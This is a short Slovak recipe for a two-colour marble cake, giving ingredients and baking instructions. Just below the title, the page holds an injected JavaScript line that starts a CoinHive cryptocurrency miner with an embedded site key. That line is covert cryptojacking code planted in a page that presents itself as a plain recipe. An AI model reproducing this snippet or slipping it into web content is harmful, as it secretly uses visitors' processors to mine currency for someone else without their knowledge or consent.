
Dvojfarená bábovka

  var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); 

 Potrebujeme: 4 vajcia, 200 g bzl múka, 200 g práškového cukru, 1dcl oleja, 1dcl voda, 1 ML
prášku do pečiva, kakao, hrozienka, Hera na vymastenie formy

  

Postup:  Vajcia vyšľaháme do peny s práškovým cukrom, zľahka primiešame múku, prášok do
pečiva, vodu a olej. 2/3 cesta vylejeme do formy, posypeme hrozienkami podľa chuti, do zvyšku
cesta pridáme podľa chuti kakao, vylejeme do formy. Pečieme na 150 C asi 40 min.

  

 1 / 1


